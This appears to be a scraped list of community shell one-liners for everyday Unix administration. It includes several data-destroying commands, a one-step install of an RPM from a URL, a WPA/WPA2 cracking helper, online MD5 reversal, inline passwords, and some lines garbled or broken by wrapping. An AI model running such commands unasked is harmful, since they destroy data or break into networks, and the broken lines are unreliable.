ou havefind ~/Music/iTunes/iTunes\ Media/. -name \*.ipa -exec basename {} \; | cut -d \. -f 1 > ~/Desktop/MyAppList`date +%s.txt`
# Remove all the files except abc in the directory
find * ! -name abc -type f -delete
# find rcs locked file in a given folder
find /path/to/folder/ -mindepth 1 -maxdepth 2 -name "*,v" -exec sudo rlog -L -R {} \;
# The wisdom of Cave Johnson
curl -s http://www.cavejohnsonhere.com/random/ | grep quote_main | cut -d \> -f 2- | fmt -w $(tput cols)
# Compute the average number of KB per file for each dir
parallel echo -n {}"\ "\;echo '$(du -s {} | awk "{print \$1}") / $(find {} | wc -l)' \| bc -l ::: *
# List all files fred* unless in a junk directory
ls **/fred*~*junk*/*
# A quick shell command to weed out the small wallpapers
for i in ~/Desktop/Personal/Wallpapers/*.jpg ; { size=$((`identify -format "%wx%h" $i | sed 's/x/*/'`)) ; if [[ $size -lt 800001 ]] then ; rm -f "$i" ; fi; }
# Get a metascore from metacritic.com
metascore(){ curl -s "http://www.metacritic.com/$@" | sed -rn 's|\t*<!-- metascore --><div id="metascore" class=".*">([^<]*)</div>|\1|p'; }
# remote backups with rsync
rsync --delete -az -e 'ssh -c blowfish -i /your/.ssh/backup_key -ax' /path/to/backup remote-host:/dest/path/
# Top 10 pages apache access_log
awk '$7 !~ /(.gif|.jpg|.ico|.txt)$/ {print $7}' access_log | sed 's/\/$//g' | sort | uniq -c | sort -rn | head
# geolocalize ip country
while read line; do pais=$(whois "$line" | grep -E '[Cc]ountry') echo -n "IP=$line Pais=$pais" && echo done <listaip
# Track progress of long-running text-command using graphical dialog
(pv -n long_running > output) 2>&1 | zenity --progress
# Enable tab completion for known SSH hosts
complete -W "$(sed 's/;.*//;' /etc/hosts | awk ' /^[[:digit:]]/ {$1 = "";print tolower($0)}')" ssh
# Put uuid of disk into variable
TEST_UUID=$(blkid /dev/sda6 | sed -rn "s/^.*UUID=\"([a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12})\".*/\1/p")
# Sort a character string
echo sortmeplease|sed 's/./&\n/g'|sort|tr -d '\n'
# Send a local file via email
cat filename | uuencode filename | mail -s "Email subject" [email protected]
# Bold matching string without skipping others
sed 's/pattern/^[[1m&^[[0m/g'
# Instant editing screenshot with Gimp
sleep 4; F="$(tempfile -s '.xwd')"; xwd > "$F" ; gimp "$F"
# Shows how many percents of all avaliable packages are installed in your gentoo
systemecho $(echo 'scale=2; ' '100 * ' $(eix --only-names -I | wc -l) / $(eix --only-names | wc -l) | bc -l)%
# Console clock
watch -n 1 :
# Use tcpdump to monitor all DNS queries and responses
sudo tcpdump -i en0 'udp port 53'
# cat all text files into one
cat $(file * | grep ASCII | awk -F: {'print $1'}) > all-in-one
# Convert high resolution JPEG for web publication
convert /home/user/file.jpg -resize 800x533 -strip -quality 80 -interlace line /home/user/web_file.jpg
# quick integer CPU benchmark
echo '2^2^20' | time bc > /dev/null
# Parse tektronic csv files
awk 'BEGIN {FS=","} {loc = $4, val=$5; getline < "f0001ch1.csv"; print loc,val,$5}' f0001ch2.csv > data
# Apply all pending updates to Mandriva Linux system (2008.0 and newer).
urpmi --auto-update --force # apply all pending updates (Mandriva Linux)
# Rip audio tracks from CD to wav files in current dir
cdparanoia -B
# Extract URL from SVN working copy
function svnurl() { svn info $1 | egrep '^URL: (.*)' | sed s/URL\:\ //; }
# Length of longest line of code
perl -ne '$w = length if (length > $w); END {print "$w\n"}' *.cpp
# compile source & then remove the dev tools you needed to install
dpkg-query -l > 1.lst; sudo apt-get install -y build-essential; ./configure; make; sudo checkinstall -D make install; dpkg-query --list > 2.lst; diff 1.lst 2.lst | grep '^>' | awk '{print $3}' | xargs sudo apt-get remove -y --purge
# Delete Mailer-Daemon messages
mailq | grep MAILER-DAEMON | awk '{print $1}' | tr -d '*' | postsuper -d -
# A child process which survives the parent's death (Zsh version)
command &!
# recursively change file name from uppercase to lowercase (or viceversa)
find . -depth -print -execdir rename -f 'y/A-Z/a-z/' '{}' \;
# Add all unversioned files to svn
svn add *
# Monitor specific process (ie apache) using Top
top -p `pidof apache2 | awk '{gsub(/[ ]/,",");print}'`
# Grep all your PDFs in a row
find -iname \*.pdf -print0 | xargs -0 pdfgrep -i "my search text"
# Print total size of specified files and subdirectories
du -sk * | awk '{print $1} END {print "[+z1<y]sy\nlyx\np"}' | dc
# CSV list of infected URLS detected by ClamAV
grep "FOUND" /var/log/squidclamav.log | awk '{print $5"-"$2"-"$3","$4","$11}' | sed -e 's/\,http.*url=/\,/g' | sed -e 's/&/\,/g' | sed -e 's/source=//g' |sed -e 's/user=//g' | sed -e 's/virus=//g' | sed -e 's/stream\:+//g' | sed -e 's/\+FOUND//g'
# Give information about your graphic chipset
lshw -C display
# display emerge.log date in a human friendly way
tail /var/log/emerge.log | awk -F: '{print strftime("%Y%m%d %X %Z", $1),$2}'
# Update twitter with curl
curl -u username:password -d status="blah blah blah" https://twitter.com/statuses/update.xml
# tcptraceroute alternative for udp packets
sudo hping3 -TV --tr-stop -n -2 -p 53 ns1.server.tld
# Dumping Audio stream from flv (using ffmpeg)
ffmpeg -i input.flv -aq 2 output.mp3
# to make any command run even if sytem gets shut down
nohup df -k | sort -rn 12
# running command directly, skip alias or function which has the same name
\<command>
# Extract infomation form pcap
tshark -r data.pcap -zio,phs
# make non-printable characters visible
cat -A
# Use heading subtitle file as watermark using mencoder
mencoder -sub heading.ssa -subpos 0 -subfont-text-scale 4 -utf8 -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mjpeg -vf scale=320:-2,expand=:240:::1 -o output.avi input.flv
# google search
perl -e '$i=0;while($i<10){open(WGET,qq/|xargs lynx -dump/);printf WGET qq{http://www.google.com/search?q=site:g33kinfo.com&hl=en&start=$i&sa=N},$i+=10}'|grep '\/\/g33kinfo.com\/'
# geoip information
geoiplookup www.commandlinefu.com
# Calculate N!
dc -e '10 [q]sq[dd1=q1-lxx*]dsxxp'
# Remove empty lines
grep -E -v '^#|^$' tx.bak
# Realtime lines per second in a log file
tail -f /var/log/logfile|perl -e 'while (<>) {$l++;if (time > $e) {$e=time;print "$l\n";$l=0}}'
# Print all connections of a source IP address in pcap
tshark -r data.pcap -R "ip.src==192.168.1.2" -T fields -e "ip.dst" |sort |uniq -c
# Simple calculator
while true; do read i; echo $[$i]; done
# Provides external IP, Country and City in a formated manner.
geoip () { curl -s "http://www.geoiptool.com/?IP=$1" | html2text | egrep --color 'City:|IP Address:|Country:' }
# Command to show battery power status
webattery
# Re-run [re-edited] sequence of commands in vim history
In vim: q: && v[cursor movement]y && [paste/edit/save to /tmp/tmp.vim] && move to window to modify && :so /tmp/tmp.vim
# Generate a unique MAC address from an IP Address
echo 00:16:3e$(gethostip 10.1.2.11 | awk '{ print tolower(substr($3,3)) }' |sed 's/.\{2\}/:&/g' )
# Boot from a block device without giving root privilege to Virtual Box
VBoxBlockBoot() { sudo umount "$2"*; sudo chmod 777 "$2"; VBoxManage storageattach "$1" --medium ~/.rawHD4VB_`basename "$2"`.vmdk --type hdd --storagectl "IDE Controller" --device 0 --port 0 ; VBoxManage startvm "$1";}
# Print out buddy name (aim) which has been capture in pcap
tshark -r data.pcap -R "ip.addr==192.168.1.2 && ip.addr==64.12.24.50 && aim" -d tcp.port==443,aim -T fields -e "aim.buddyname" |sort |uniq -c
# ps grep with header
psg () { ps auxwww | egrep "$1|PID" | grep -v grep }
# Edit all files found having a specific string found by grep
grep -ir 'foo' * | awk '{print $1}' | sed -e 's/://' | xargs vim
# Learn how to stop mistyping "ls" the fun way
apt-get install sl; sl
# Alias for lazy tmux create/reattach
alias ltmux="if tmux has; then tmux attach; else tmux new; fi"
# What happened on this day in history?
firefox http://en.wikipedia.org/wiki/$(date +'%b_%d')
# Edit all different files from 2 directories with gvim in difference mode (gvim
-d)LC_ALL=C diff -q dir1 dir2 | grep differ | awk '{ print $2, $4 }' | xargs -n 2 gvim --nofork -d
# Change file time stamp
touch -t [[CC]AA]MMJJhhmm[.ss]
# validate xml in a shell script.
xmlproc_parse.python-xml &>/dev/null <FILE> || exit 1
# get function's source
source_print(){ set | sed -n "/^$1/,/^}$/p"; };
# count processes with status
ps -eo stat= | sort | uniq -c | sort -n
# Check to make sure the whois nameservers match the nameserver records from the
nameservers themselvesdomain=google.com; for ns in $(whois $domain | awk -F: '/Name Server/{print $2}'); do echo ">>> Nameservers for $domain from $a <<<"; dig @$ns $domain ns +short; echo; done;
# create 4 RTP streams (H264/AAC) from a single source with a single ffmpeg inst
ance...ffmpeg -i $src -an -vcodec [...details in description...] rtp rtp://$dstIP:$dstAudioPort4 -newaudio
# Capture all tcp and udp packets in LAN, except packets coming to localhost (19
2.168.1.2)sudo tcpdump -n -i eth0 -w data.pcap -v tcp or udp and 'not host 192.168.1.2'
# Show all occurences of STRING with filename and line number for given FILE pat
tern under the DIR.find DIR -name "FILE" -exec grep -IHn STRING {} \;
# Get all IPs via ifconfig
ipconfig getpacket en0 | grep yi| sed s."yiaddr = "."en0: ". ipconfig getpacket en1 | grep yi| sed s."yiaddr = "."en1: ".
# Edit all files found having a specific string found by grep
grep -ir 'foo' * | awk -F '{print $1}' | xargs vim
# system beep off
setterm -bfreq 0
# Wait for an already launched program to stop before starting a new command.
wait
# Make a server's console beep when the network is down
while :; do ping -W1 -c1 -n 8.8.8.8 > /dev/null || tput bel > /dev/console; sleep 1; done
# record audio and use sox to eliminate silence. Results an ogg file that only c
ontains the audio signal exceeding -45dBrec -r 44100 -p | sox -p "audio_name-$(date '+%Y-%m-%d').ogg" silence -l 1 00:00:00.5 -45d -1 00:00:00.5 -45d
# Playback music in VLC without the GUI interface
cvlc <somemusic.mp3>
# progress bar for cp
while [$((or_sz=$(stat -c %s "$1"))) -gt $((ds_sz=$(stat -c %s "$2")))];do ((pct=(69*$ds_sz)/$or_sz));echo -en "\r[";for ((i=1;i<=pct;i++));do echo -n "=";done;echo -n \>;for ((i=pct;i<=68;i++));do echo -n ".";done;echo -n "] $(((100*$pct)/69))%";done
# Read manpages without the man(1) command
zcat /usr/share/man/man1/man.1.gz | nroff -man | less
# Simple countdown from a given date
watch --no-title -d -n 1 'echo `date -d "next Thursday" +%s` "-" `date +%s` | bc -l'
# Tail the most recently modified file
ls -t1 | head -n1 | xargs tail -f
# List all authors of a particular git project
git log --format='%aN <%aE>' | awk '{arr[$0]++} END{for (i in arr){print arr[i], i;}}' | sort -rn | cut -d\ -f2-
# Mark packages installed with build-dep for autoremove (on Debian/Ubuntu)
sudo aptitude markauto $(apt-cache showsrc PACKAGE | grep Build-Depends | perl -p -e 's/(?:[\[(].+?[\])]|Build-Depends:|,|\|)//g')
# Hello world
pi 62999 | tr 0-9 del\ l\!owrH
# Remove trailing whitespaces (or tabs) from a text file
sed -i 's/[ \t]\+$//g' file.txt
# Given NOPASSWD privileges on a remote SSH server, sftp as root via sudo
sftp -s "sudo /usr/lib/sftp-server" user@host
# List all text files (exclude binary files)
find . | xargs file | grep ".*: .* text" | sed "s;\(.*\): .* text.*;\1;"
# Get decimal ascii code from character
ord () { seq 1 127 | while read i; do echo `chr $i` $i; done | grep "^$1 " | cut -c '3-' }
# Remove all but One
rm-but() { ls -Q | grep -v "$1" | xargs rm -r ; }
# Clean up formatting of a perl script
perltidy foo.pl
# For finding out if something is listening on a port and if so what the daemon
is.lsof -i :[port number]
# Create cheap and easy index.html file
F=index.html; for i in *; do [[ $i = $F ]] && continue; echo "<li><a href='$i'>$i</a>"; done >$F
# ping with timestamp
ping HOSTNAME | while read pong; do echo "$(date): $pong"; done
# Display list of locked AFS volumes (if any)
vos listvldb | agrep LOCKED -d RWrite | grep RWrite: | awk -F: '{print $2}' | awk '{printf("%s ",$1)} END {printf("\n")}'
# Insert line number in vim
:%s/^/\=line('.').' '
# What happened on this day in history?
www-browser http://en.wikipedia.org/wiki/$(date +'%b_%d')
# Rename a file with a random name
rf() { for i in "$@"; do mv "$i" "$(pwgen 8 1).${i##*.}"; done }
# See how many more processes are allowed, awesome!
echo $(($(ulimit -u)-$(pgrep -u $USER|wc -l))
# Go get those photos from a Picasa album
echo 'Enter Picasa album RSS URL:"; read -e feedurl; GET "$feedurl" |sed 's/</\n</g' | grep media:content |sed 's/.*url='"'"'\([^'"'"']*\)'"'"'.*$/\1/' > wgetlist
# list files/directories in current directory -- sorted by file size in MB
sudo du -sm * | sort -n
# reset Mageia urpmi media sources to network only
urpmi.removemedia -a && urpmi.addmedia --distrib --mirrorlist
# shutdown pc in 4 hours without needing to keep terminal open / user logged in.
shutdown 60*4 & disown
# Archive tar.gz archives all files (with extension filter) individually from an
locationfind ./ -iname "*.dmp" -maxdepth 0 -type f -exec tar czvf {}.tar.gz --remove-files {} \; \;
# Encrypt text to md5
wget -qO - --post-data "data[Row][clear]=text" http://md5-encryption.com | grep -A1 "Md5 encrypted state" | tail -n1 | cut -d '"' -f3 | sed 's/>//g; s/<\/b//g'
# Update obsolete CVS Root files
find cvsdir -name Root -exec sed -i 's/oldserver/newserver/' {} \;
# Remove/replace newline characters.
sed ':a;N;$!ba;s/\n/ /g'
# Create a symbolic link tree that shadows a directory structure
find /home/user/doc/ -type d -printf "mkdir -vp '/home/user/Dropbox%p'\n" -o -type f -printf "ln -vs '%p' '/home/user/Dropbox%p'\n" | sh
# Record Alexa Traffic Stats of your Website
x=1 ; while [ $x -le 10 ] ; do lynx -dump http://www.alexa.com/siteinfo/http://[YOUR WEBSITE] | grep Global | sed 's/ \|Global\|\,//g' >> /var/log/alexa-stats.txt ; sleep 5h ; done &
# Get first Git commit hash
git log --format=%H | tail -1
# Find which service was used by which port number
cat /etc/services | egrep [[:blank:]]<port_number>/
# recursive command to find out all directories
find $DIR -exec bash method {} ";"
# Display GCC Predefined Macros
echo | gcc -dM -E -
# Displays the number of unread messages on your gmail at the top right corner o
f your terminalwhile sleep 30; do tput sc;tput cup 0 $(($(tput cols)-15));echo -n " New Emails: $(curl -u username:password --silent https://mail.google.com/mail/feed/atom | grep 'fullcount' | grep -o '[0-9]\+')";tput rc; done &
# Decrypt MD5
wget -qO - --post-data "data[Row][cripted]=1cb251ec0d568de6a929b520c4aed8d1" http://md5-decrypter.com/ | grep -A1 "Decrypted text" | tail -n1 | cut -d '"' -f3 | sed 's/>//g; s/<\/b//g'
# find all files containing a pattern, open them using vi and place cursor to th
e first match, use 'n' and ':n' to navigatefind . -type f -exec grep -l pattern {} \; | xargs vi +/pattern
# Show some details of recent Leopard Time Machine activity - shell: bash, Mac O
SX 10.5syslog -F '$Time $Message' -k Sender /System/Library/CoreServices/backupd -k Time ge -72h | tail -n 30
# Clean up after improper deletes in subversion
svn rm `svn status | grep "\!" | cut -c 8-`
# Find which service was used by which port number
grep '\<110/' /etc/services; grep '\b110/' /etc/services
# Safely remove old unused kernels in Ubuntu/Debian
sudo aptitude purge ~ilinux-image-\[0-9\]\(\!`uname -r`\)
# Autorotate a directory of JPEG images from a digital camera
jhead -autorot *
# solaris: get current date + 72 hours
TZ=$TZ-72 date +%d.%m.%Y
# total text files in current dir
file -i * | grep 'text/plain' | wc -l
# Easily decode unix-time (funtion)
utime(){ awk -v d=$1 'BEGIN{print strftime("%a %b %d %H:%M:%S %Y", d)}'; }
# Kill process by searching something from 'ps' command
pkill <process name>
# dump a remote db via ssh and populate local db with postgres
ssh user@remoteserver "PGPASSWORD='passwd' pg_dump -U user bd_name | bzip2 -zv9" | bzcat | psql -U user bd_name
# Take a screenshot of the screen, upload it to ompldr.org and put link to the c
lipboard and to the screenshots.log (with a date stamp) in a home directory.scrot $1 /tmp/screenshot.png && curl -s -F file1=@/tmp/screenshot.png -F submit="OMPLOAD\!" http://ompldr.org/upload | egrep '(View file: <a href="v([A-Za-z0-9+\/]+)">)' | sed 's/^.*\(http:\/\/.*\)<.*$/\1/' | xsel -b -i ? (full in a sample output)
# Make webcam video
ffmpeg -f video4linux2 -s 320x240 -i /dev/video0 -f alsa -ac 1 -i default -f mp4 Filename.mp4
# Transfer files with rsync over ssh on a non-standard port.
rsync -P -e 'ssh -p PORT' SRC DEST
# Geo Temp
curl -s www.google.com/ig/api?weather=$(curl -s api.hostip.info/get_html.php?ip=$(curl -s icanhazip.com) | sed -e'1d;3d' -e's/C.*: \(.*\)/\1/' -e's/ /%20/g' -e"s/'/%27/g") | sed 's|.*<t.*f data="\([^"]*\)"/>.*|\1\n|'
# Revert an SVN file to previous revision
svn diff -r M:N file.php | patch -p0
# Add new files/directory to subversion repository
svn status | grep '^\?' | sed -e 's/^\?//g' | xargs svn add
# force change password for all user
getent passwd|cut -d: -f1|xargs -n1 passwd -e
# Auto export display when coming from SSH
[ -n "$SSH_CLIENT" ] && export DISPLAY=$(echo $SSH_CLIENT | awk '{ print $1 }'):0.0
# AIX: Set reserve lock=no in EMC disks that have reserve_lock=yes
for i in $(lsdev -Cc disk | grep EMC | cut -f 1 -d " " ); do if lsattr -a reserve_lock -El $i | grep -q "reserve_lock yes"; then chdev -a reserve_lock=no -l $i; fi; done
# count how many cat processes are running
pgrep -c cat
# same as backspace and return
<ctrl+h> and <ctrl+j>
# Let yourself read the logs under /var/log/apache2 (on Debian)
sudo usermod -a -G adm "$(whoami)"
# use awk to replace field with it's md5sum
awk '{command="echo "$2"|md5sum" ;command | getline $2; close(command);sub(/[[:blank:]].*/,"",$2); print $0}'
# Locate Hacked Files and Dump.
find . -type f -name '*.html' -exec grep -H HACKED {} \; > hacklog.txt
# Today's date on a yearly calendar...
cal -y | tr '\n' '|' | sed "s/^/ /;s/$/ /;s/ $(date +%e) / $(date +%e | sed 's/./#/g') /$(date +%m | sed s/^0//)" | tr '|' '\n'
# Quickly clean log files (assuming you don't want them anymore)
for file in `find /var/log/ -type f -size +5000k`; do echo " " > $file; done
# Check the apt security keys
apt-key list
# Extract all urls from last firefox sessionstore used in a portable way.
perl -lne 'print for /url":"\K[^"]+/g' $(ls -t ~/.mozilla/firefox/*/sessionstore.js | sed q)
# Test internet connectivity
ping 8.8.8.8
# # Multiline paragraph sort; with case insensitive option (-i)
gawk 'BEGIN {RS="\n\n"; if (ARGV[1]=="-i"){IGNORECASE=1; ARGC=1}};{Text[NR]=$0};END {asort(Text);for (i=1;i<=NR;i++) printf "%s\n\n",Text[i] }' -i<Zip.txt
# Gets the english pronunciation of a phrase
say() { wget -q -U Mozilla -O output.mp3 "http://translate.google.com/translate_tts?tl=en&q=$1"; gnome-terminal -x bash -c "totem output.mp3"; sleep 4; totem --quit;}
# Get all links of a website
lynx -dump http://example.com/ | awk '/http/{print $2}' | sort -u
# Quickly clean log files (assuming you don't want them anymore)
for file in `find /var/log/ -type f -size +5000k`; do > $file; done
# Get decimal ascii code from character
ord() { printf "%d\n" "'$1"; }
# WPA/WPA2 ESSID and password automation with pyrit
gopyrit () { if [ $# -lt 1 ]; then echo $0 '< list of ESSIDs >'; return -1; fi; for i in "$@"; do pyrit -e $i create_essid && pyrit batch; done; pyrit eval }
# recursive transform all contents of files to lowercase
perl -e "tr/[A-Z]/[a-z]/;" -pi.save $(find . -type f)
# Perl One Liner to Generate a Random IP Address
perl -e 'printf join ".", map int rand 256, 1 .. 4;'
# Geolocate a given IP address
geoip() { lynx -dump "http://api.hostip.info/get_html.php?ip=$1&position=true"; }
# Show directories in the PATH, one per line
echo -e ${PATH//:/\\n}
# Emergency Alien Invasion Warning
while true; do xset dpms force off; sleep 0.3; xset dpms force on; xset s reset; sleep 0.3; done
# Create a Christmas tree with perl
perl -MAcme::POE::Tree -e 'Acme::POE::Tree->new()->run()'
# set timestamp in exif of a image
exiv2 -M"set Exif.Photo.DateTimeOriginal `date "+%Y:%m:%d %H:%M:%S"`" filename.jpg
# Gentoo: Get the size of all installed packets, sorted
equery s | sed 's/(\|)/ /g' | sort -n -k 9 | gawk '{print $1" "$9/1048576"m"}'
# Equivelant of a Wildcard
`ls`
# Dump all of perl's config info
perl -le 'use Config; foreach $i (keys %Config) {print "$i : @Config{$i}"}'
# Better "hours of video" summary for each file/dir in the current directory
for item in *;do echo -n "$item - ";find "$item" -type f -print0 | xargs -0 file -iNf - | grep video | cut -d: -f1 | xargs -d'\n' /usr/share/doc/mplayer/examples/midentify | grep ID_LENGTH | awk -F= '{sum+=$2} END {print(sum/60)}'; done | grep -v ' - 0$'
# Say no to overwriting if cp -i is the default alias.
\cp something toSomeWhereElse
# Kill all Zombie processes if they accept it!
kill -9 `ps xawo state=,pid=|sed -n 's/Z //p'`
# # Multiline unique paragraph sort; with case insensitive option (-i)
gawk 'BEGIN {RS="\n\n"; if (ARGV[1]=="-i")IGNORECASE=1;ARGC=1}{if (IGNORECASE)Text[tolower($0)]=$0;else Text[$0]=$0 };END {N=asort(Text);for(i=1;i<=N;i++)printf "%s\n\n",Text[i]}' -i<Test.txt
# Generate an XKCD #936 style 4 word passphrase (fast)
echo $(grep "^[^'A-Z]\{3,7\}$" /usr/share/dict/words|shuf -n4)
# download and install the software package in one step
rpm -ivh 'http://www.website.com/path/to/desired_software_package.rpm'
# See if your mac can run 64-bit && if it the kernel is loaded 64-bit
ioreg -l -p IODeviceTree | grep -o EFI[0-9]. && system_profiler SPSoftwareDataType |grep 64
# Show which include directories your installation of Perl is using.
perl -le 'print join $/, @INC'
# Do you really believe on Battery Remaining Time? Confirm it from time to time!
echo start > battery.txt; watch -n 60 'date >> battery.txt'
# Set status in pidgin
purple-remote "setstatus?status=Available&message=Checking libpurple"
# Get URLs matching some xmms2 search
xmms2 info $(xmms2 mlib search '<query>' | sed -ne 's/^00*\([1-9][0-9]*\).*$/\1/p') | awk -F' = ' '$1~/ url$/{print$2}'
# Kill process by searching something from 'ps' command
pkill -f <process name>
# Find packages on Ubuntu/Debian based on their description
aptitude search ~d<string>
# Copy files from multiple directories into one directory
find <start directory> -iname "<all my files type>" -exec cp {} <target_dir> \;
# Add new file under svn version control.
svn st | grep ^\? | awk '{print $2}' | xargs svn add
# Resets terminal in its original state
^[c (ctrl-v esc-c)
# append content of a file to itself
cat file | tee >> file
# Say no to overwriting if cp -i is the default alias.
/bin/cp -n <from> <to>
# Remove color codes (special characters) with sed
cat input.txt | sed 's/\\\033[^a-zA-Z]*.//g'
# Simply generate a password for userPassword in ldap
slpappasswd
# Find which package a file belongs to on Solaris
pkgchk -l -p <full path to the file>
# How to watch files
watch -d 'ls -l'
# snarf is a command line resource grabber.
snarf http://foo.bar.com/picture.jpg
# Testing writing speed with dd
sync; time `dd if=/dev/zero of=bigfile bs=1M count=2048 && sync`
# Show the ndd ip settings of a solaris device
for i in `ndd /dev/ip \? | awk '{ print $1 }' | egrep -v "ip6|status|icmp|igmp|\?"` ; do echo $i `ndd -get /dev/ip $i` ; done | grep -v \?
# forking a process from gnome-terminal detached from the terminal.
gnome-open . & disown
# concatenate compressed and uncompressed logs
find /var/log/apache2 -name 'access.log*gz' -exec zcat {} \; -or -name 'access.log*' -exec cat {} \;
# Perl One Liner to Generate a Random IP Address
perl -le '$,=".";print map int rand 256,1..4'
# Join lines split with backslash at the end
tr -d '\\' | tr -d '\n'
# ifrename
busybox nameif newname $(</sys/class/net/oldname/address)
# Generate RSA private key and self-signed certificate
touch pk.pem && chmod 600 pk.pem && openssl genrsa -out pk.pem 2048 && openssl req -new -batch -key pk.pem | openssl x509 -req -days 365 -signkey pk.pem -out cert.pem
# Convert ip address in hexadecimal
gethostip 208.69.34.230 -x
# Find and replace recursivly a ignoring .svn
find . -type f -not -regex ".*\/.svn\/.*" -exec sed -i 's/oldstring/newstring/g' {} +
# finding cr-lf files aka dos files with ^M characters
grep -UIlr "^M" *
# Count files and folder
ls /var/log/ |wc -l
# show mysql process ids
mysql -s -e "show processlist" |awk '{print $1}'
# make pgsql backup and gzip it
pg_dump otrs2 | gzip > dump.gz
# Search for specific IPs taken form a text file within the apache access log
grep -E ":(`cat bnd-ips.txt | sed 's/\./\\./g' | tr '\n' '|'`)" access.log
# Visualizing system performance data
vmstat 2 10 | awk 'NR > 2 {print NR, $13}' | gnuplot -e "set terminal png;set output 'v.png';plot '-' u 1:2 t 'cpu' w linespoints;"
# encode image to base64 and copy to clipboard
uuencode -m $1 /dev/stdout | sed '1d' | sed '$d' | tr -d '\n' | xclip -selection clipboard
# Search pattern case insensitive
:/\c{pattern}
# List file/directories in order of last accessed, in human readable terms
ls -lth podcasts/
# Quick enter into a single screen session
alias screenr='screen -r $(screen -ls | egrep -o -e '[0-9]+' | head -n 1)'
# Power cd - Add a couple of useful features to 'cd'
cd() { if [ -n "$1" ]; then [ -f "$1" ] && set -- "${1%/*}"; else [ -n "$CDDIR" ] && set -- "$CDDIR"; fi; command cd "$@"; }
# find broken symbolic links
find . -type l | (while read FN ; do test -e "$FN" || ls -ld "$FN"; done)
# Upload documents from linux to MS SHarepoint using curl
curl --ntlm -u <your Active-Directory-Domain>/<your-domain-username> -T /path/to/local/$FILE http://sharepoint.url.com/doc/library/dir/
# Read all the S.M.A.R.T. data from a hard disk drive
smartctl --attributes /dev/sda
# Force file system check
touch /forcefsk
# Merge ( directories [looking for improvement]
(cd SRC; find . -type d -exec mkdir TARGET/{} ";"; find . -type f -exec mv {} TARGET/{} ";")
# 60 second on screen timer for bash scripts
i=60;while [ $i -gt 0 ];do if [ $i -gt 9 ];then printf "\b\b$i";else printf "\b\b $i";fi;sleep 1;i=`expr $i - 1`;done
# Go back to the previous directory.
cd -
# One liner gdb attach to Acrobat
(acroread &);sleep 2;gdb /opt/Adobe/Reader8/Reader/intellinux/bin/acroread `pidof ld-linux.so.2`
# Calculator on the go
echo 2+3 |bc
# List your largest installed packages (on Debian/Ubuntu)
perl -ne '$pkg=$1 if m/^Package: (.*)/; print "$1\t$pkg\n" if m/^Installed-Size: (.*)/;' < /var/lib/dpkg/status | sort -rn | less
# shows the full path of shell commands
type <command>
# revert a committed change in SVN
svn merge -c -REV
# Find PHP files
find . -name "*.php" -exec grep -i -H "search pharse" {} \;
# Handling oracle alter log file
awk '{if ($1~/Sun|Mon|Tue|Wed|Thu|Fri|Sat/) {DATE=$2" "$3" "$4" "$5 } else {print DATE"|"$0}}' alterorcl.log
# Displays All TCP and UDP Connections
sudo netstat|head -n2|tail -n1 && sudo netstat -a|grep udp && echo && sudo netstat|head -n2|tail -n1 && sudo netstat -a|grep tcp
# find&grep all in once
#!/bin/bash find | grep -P -v "(class)|(zip)|(png)|(gz)|(gif)|(jpeg)|(jpg)" | xa
rgs -I @ grep -H $1 @
# Tar - Compress by excluding folders
tar -cvf /path/dir.tar /path/dir* --exclude "/path/dir/name" --exclude "/path/dir/opt"
# Use ping to test if a server is up
if [ "$(ping -q -c1 google.com)" ];then wget -mnd -q http://www.google.com/intl/en_ALL/images/logo.gif ;fi
# Convert wma to wav
for i in *.wma; do mplayer -vo null -vc dummy -af resample=44100 -ao pcm:waveheader:file="${i%.wma}.wav" "$i" ; done
# Show seconds since modified of newest modified file in directory
echo $(( $( date +%s ) - $( stat -c %Y * | sort -nr | head -n 1 ) ))
# lsof - cleaned up for just open listening ports, the process, and the owner of
the processalias oports="echo -e "User:\tCommand:\tPort:\n----------------------------" && lsof -i 4 -P -n | awk '/LISTEN/ {print $3, $1, $9}' | sed 's/ [a-z0-9\.\*]*:/ /' | sort -u -k 3 -n | xargs printf '%-10s %-10s %-10s\n'"
# Open multiple tabs in Firefox from a file containing urls
for /F %i in (url_list.txt) do Firefox.exe -new-tab "%i"
# Bulk install
apt-cache search perl | grep module | awk '{print $1;}' | xargs sudo apt-get install -y
# Watch the progress of 'dd'
dd if=/dev/urandom of=file.img bs=4KB& pid=$!; while [[ -d /proc/$pid ]]; do kill -USR1 $pid && sleep 1 && clear; done
# Store mp3 playlist on variable and play with mpg123
PLAYLIST=$(ls -1) ; mpg123 -C $PLAYLIST
# Get just the IP for a hostname
host foo.com|grep " has address "|cut -d" " -f4
# Get FreeMusicCharts
wget -O - "http://www.darkerradio.com/news/free-music-charts-$(date "+%B-%Y")/" 2> /dev/null | grep -o "http://[^ \"']*\.mp3" |grep "freemusiccharts.songs" | sort | uniq | xargs -n1 wget -c
# Make a statistic about the lines of code
find . -type f -name '*.c' -exec wc -l {} \; | awk '{sum+=$1} END {print sum}'
# Static Yubikey 2.2 Password Using Programming Slot 1
ykpersonalize -1 -ostatic-ticket -ostrong-pw1 -ostrong-pw2
# Traffic stat on ethernet interface
ethtool -S eth0
# Set default "New Page" as HTML in TextMate
defaults write com.macromates.textmate OakDefaultLanguage 17994EC8-6B1D-11D9-AC3A-000D93589AF6
# List your installed Firefox extensions
grep -hIr -m 1 :name ~/.mozilla/firefox/*.$USER/extensions | tr '<>=' '"""' | cut -f3 -d'"' | sort -u
# Quickly check a device in a LVM volume group against multipath
pvscan | awk '/name_of_vg/ {print $2}' | sed 's/[-|/|]/ /g' | cut -d " " -f7
# Get just the IP for a hostname
gethostip -d hostname
# List your installed Chromium extensions (with url to each page)
for i in $(find ~/.config/chromium/*/Extensions -name 'manifest.json'); do n=$(grep -hIr name $i| cut -f4 -d '"'| sort);u="https://chrome.google.com/extensions/detail/";ue=$(basename $(dirname $(dirname $i))); echo -e "$n:\n$u$ue\n" ; done
# Change MySQL Pager For Nicer Output
In MySQL client, \P less -S
# test connection to a remote IP / port
nc -z <IP> <TCP port> OR nc -zu <IP> <UDP port>
# Setup Vim environment for USACO coding
alias viaco='task="$(basename "$(pwd)")"; if [ -f "$task.c" ]; then vi -c "set mouse=n" -c "set autoread" -c "vsplit $task.out" -c "split $task.in" -c "wincmd l" -c "wincmd H" $task.c; fi'
# Generate a list of installed packages on Debian-based systems
aptitude search ~i -F %p
# extract links from a google results page saved as a file
